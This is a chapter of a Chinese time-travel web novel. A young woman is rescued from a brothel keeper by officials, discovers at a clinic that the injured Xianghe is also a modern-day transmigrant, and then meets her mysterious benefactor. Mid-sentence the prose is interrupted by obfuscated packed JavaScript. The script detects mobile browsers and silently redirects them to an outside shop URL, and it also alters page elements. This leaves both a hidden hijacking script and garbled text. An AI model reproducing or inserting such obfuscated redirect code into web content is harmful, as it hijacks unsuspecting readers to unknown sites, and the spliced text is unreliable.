“好啊——”她往前逼了一步，声音尖利得像刀子刮过瓷碗，“我说怎么找不着呢，原来是有人里应外合。小贱人，你胆子倒是不小，敢在老娘眼皮子底下耍花招？” 她的目光从香荷移到秦式微脸上，那双三角眼里满是阴狠：“什么柴家？什么小夫人？全是编出来骗老娘的？一个黄毛丫头，也敢在老娘面前装神弄鬼？” 秦式微站着没动。她飞快地看了一眼周围的地形——巷子窄，两边是高墙，没有岔路。身后是死胡同，前面被堵死了。跑不掉。 她把香荷往方妈妈那边推了推，低声道：“妈妈，带着她们先走。” 方妈妈脸色发白，却没有动，反而把秦式微往自己身边又拉了拉，咬着牙道：“不可。你带着人走。” 秦式微急了：“妈妈，我——” 鸨母已经不耐烦了，一挥手，两个护院就要上前。灯笼的光在她们脸上晃着，把一切都照得惨白。 就在这时候，巷子那头忽然传来一阵急促的脚步声——整齐的，有力的，不是一两个人，是许多人。 紧接着，一个声音响起，不高不低，却带着不容置疑的威严：“住手。” 灯笼的光从巷子那头照过来，亮得刺眼。一身穿着官服的中年男子匆匆赶来，后边跟着周安，身后还有七八个衙役，手里都拿着水火棍，齐刷刷地站成两排。 鸨母的脸色，一下子白了。 周安走到跟前，微微颔首，然后转向鸨母，声音淡淡的：“莫氏，你的事发了。拐卖良家、私刑拘禁，这两条罪，够你吃一壶了。” 鸨母往后退了一步，嘴唇哆嗦着，想说什么，却一个字也说不出来。 周安一挥手，两个衙役上前，一把扭住鸨母的胳膊。她身后的那些婆子护院，一个个都傻了，站在原地不敢动弹。 “带走。”周安淡淡吩咐。 等鸨母被拖走后，周安转过身来，看见秦式微只穿着一件单薄的襦裙，皱了皱眉，却没有多说什么，只笑了笑道：“医馆已经安排好了，大夫在等着。走吧。” 秦式微愣了一下——医馆已经安排好了？她还没来得及开口问，周安已经上前，帮着方妈妈扶起香荷，往前走去。 医馆不远，拐过两条街就到了。门开着，里头亮着灯，一个花白胡子的老大夫正站在门口等着，见她们来了，连忙迎上来，一边指挥伙计把人往里抬，一边吩咐人去煎药。他看了香荷的伤，没有多问，只点了点头，像是早就知道会来这么一个人。 秦式微站在一旁，看着老大夫熟练地剪开粘在伤口上的碎布，用温水一点一点地清洗。他的动作很轻，可香荷还是在昏迷中皱紧了眉，发出一声模糊的呻吟。老大夫头也不抬，只道：“伤得不轻，好在没伤着骨头。我这儿有上好的金创药，敷上几天就能结痂。” 他从柜中取出一只青瓷小罐，递给秦式微，“这个药膏，一日换两次，不可断。” 秦式微接过药膏，打开闻了闻，是一股清苦的药香，混着些许冰片的气味。她心里微微一动——这药膏的成色和气味，不是寻常医馆能配出来的。老大夫像是看出了她的疑惑，笑了笑，没有解释，转身去忙别的了。 方妈妈去后头煎药了。秦式微坐在床边，把药膏一点一点地涂在香荷的伤口上。她的动作很轻，可香荷还是疼得直皱眉，身子不时抽搐一下。泉生站在旁边，小手攥着床单，一声不吭地看着，眼泪在眼眶里打转，却硬是没有掉下来。 秦式微涂完了药，把药膏盖好，放在床头。她坐在那儿，看着香荷的脸。 说起来这才是她第一回见荷娘。 方才在芦苇丛里，天暗，看不清。后来一路奔波，也没顾得上。这会儿灯下看着，才发现这张脸生得极好——鹅蛋脸，柳叶眉，鼻梁秀挺，嘴唇薄薄的，带着几分天然的弧度。虽说瘦得脱了形，脸色也蜡黄，可那底子还在。若是养好了，该是个美人。 可让秦式微移不开眼的，不是这张脸，而是这张脸上那层说不清道不明的东西。 她说不清那是什么。 之前巷子里，她几乎没有犹豫，就知道自己该怎么做。那种直觉来得莫名其妙，却强烈得无法忽视——她必须救这个人。 为什么呢？ 她想不明白。 方妈妈端了药进来，一勺一勺地喂香荷喝。香荷昏迷着，吞咽困难，药汁顺着嘴角流下来，方妈妈就拿帕子擦干净，再喂。喂完了药，方妈妈轻手轻脚地出去了，说去煎明早的。医馆里安静下来，只听得见灯花爆开的细微声响，和香荷沉重的呼吸声。 秦式微守在床边，有些出神。 就在这时，香荷忽然动了动嘴唇。 声音很轻，断断续续的，像是梦话，又像是在跟谁说话。秦式微本不欲听人隐私，正要起身走开，却听见几个字从香荷嘴里飘出来—— “……论文……还没交……” 秦式微的脚，像被钉子钉在了地上。 她猛地回过头，盯着香荷的脸。 “……导师……别催了……我改……我再改……” 秦式微站在那里，一动不动。她的心口像被人重重捶了一拳，耳朵里嗡嗡地响。她张了张嘴，想说什么，却一个字也发不出来。 她慢慢俯下身，凑近了些，生怕漏掉一个字。 “……熬了三天了……让我睡会儿……就一会儿……” 香荷的声音越来越低，低得像一根快要断的丝线，可每一个字，都清清楚楚地落进秦式微的耳朵里。 “……不想穿越……我要回去……论文还没写完……” 秦式微站直了身子，手指攥紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377877|199353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桌沿，指节泛白。她的脑子里像是有什么东西炸开了，翻江倒海，天旋地转。 论文。导师。穿越。 这些词，不该出现在这个世界。 她看着香荷，看着那张苍白的、瘦削的、昏迷中还皱着眉头的脸，心里头掀起惊涛骇浪。她的手在发抖，不是因为害怕，是因为——她忽然明白了那种直觉从何而来。 她深吸一口气，又深吸一口气，强迫自己稳住心神。她伸出手，把香荷额前的乱发拨到一边，手指触到那滚烫的额头时，微微颤了一下。 “你也是……”她没有说完。 香荷没有回答，只有沉重的呼吸声，一起一伏。 秦式微在床边坐了很久。灯花爆了一声又一声，她都没有动。她的心里头翻涌着太多东西——震惊，恍然，还有一种说不清道不明的庆幸。 她不是一个人。 在这个陌生的世界里，还有一个人，和她一样。 门外忽然传来轻轻的叩门声。 “秦娘子。”是周安的声音，不高不低，隔着门板传进来，“我家主人有请。” 秦式微回过神来。她看了香荷一眼，又看了看站在角落里已经困得直点头的泉生。她起身，把被子给香荷掖好，又走到泉生身边，轻轻把他抱到椅子上，拿自己的外衫给他盖上。泉生迷迷糊糊地睁开眼，看见是她，又闭上了，嘴里含含糊糊地叫了一声“娘”。 秦式微的手顿了顿，轻轻拍了拍他的背。 她走出医馆，夜风迎面吹来，凉飕飕的。周安提着灯笼在前面引路，她没有多问，只跟着他走。她怀有歉意——从登船到现在，她给这位素未谋面的张公子添了太多麻烦。如今又加上荷娘母子，这份恩情，她不知道该怎么还。 可她也有疑惑。那句“所行慎思”，那间提前安排好的医馆，那罐早就备下的药膏——桩桩件件，都像是在告诉她，这位张公子知道她要做什么，甚至知道她心里在想什么。 周安没有带她走远。医馆隔壁，就是一座小小的院子。院门虚掩着，推开来，里头不大，青石板铺地，角落里种着两丛竹子，夜风一吹，竹叶沙沙地响，像谁在低声说着什么。 周安在院门口停下脚步，侧身让开：“秦娘子请。主人在里头等你。” 秦式微深吸一口气，迈步走了进去。 院子里没有点灯，只有屋里透出一片昏黄的光，从窗棂间漏出来，在地上投下淡淡的格子影。她的脚步不自觉地放轻了，轻得像踩在云上。穿过短短的庭院，到了门前。门开着，一扇画着山水的屏风挡在面前，把里头的景象遮去了大半。屏风上的山水画得极淡，几笔远山，一叶扁舟，大片的留白。 她绕过屏风。 屋子不大，陈设简单。一张书桌，几架书，窗边摆着一盆素心兰。桌上点着一盏灯，灯火跳了跳，把一切都照得柔和。靠窗的地方，一个人端坐在那里。 灯火昏黄，她看不清他的衣袍是什么颜色，只看见那衣裳的质地极好，垂顺地铺在身侧，像一泓静水。他坐得很正，像深山里经年的翠竹，风雪压不弯，却也会随风轻摆。那是一种长年礼乐教养浸润出的端方，刻在骨子里，自然而然。 这是她第一次看清他的脸。 艉楼上那一回，月色太淡，她只看见一个模糊的轮廓。这会儿灯火照着，那张脸便清清楚楚地落进她眼里。 是典型的玉面。轮廓分明却不锐利，线条如水墨山峦般舒缓，起承转合都恰到好处，没有一处是突兀的。最夺目的是眉眼——眉形长而淡，远看几乎是含烟眉，不怒不威，只有岁月洗练后的平和，像远山含黛，雾里看花。眼型偏长，内眼角微微尖锐，眼尾却垂下来，带着几分天然的温润。那双眼睛里没有锋芒，没有审视，只有一种沉静的、让人安心的平和。 鼻梁挺直，是整张脸上唯一显出几分硬气的地方，像是水墨画里忽然落了一笔重墨，不突兀，却让人不能忽视。 秦式微站在屏风边上，终于回了神，她垂下眼，福了福身，声音比平日里轻了几分：“今日之事，多谢公子。也麻烦公子了。” 对面的人没有说话。 她听见一声极轻的响动，像是茶盏被挪动的声音。然后，一个声音响起来—— “尚有寒意，先喝一杯热茶吧。” 语调平和，如同像一枚被把玩多年的老玉，温温地贴在耳边，不惊不扰。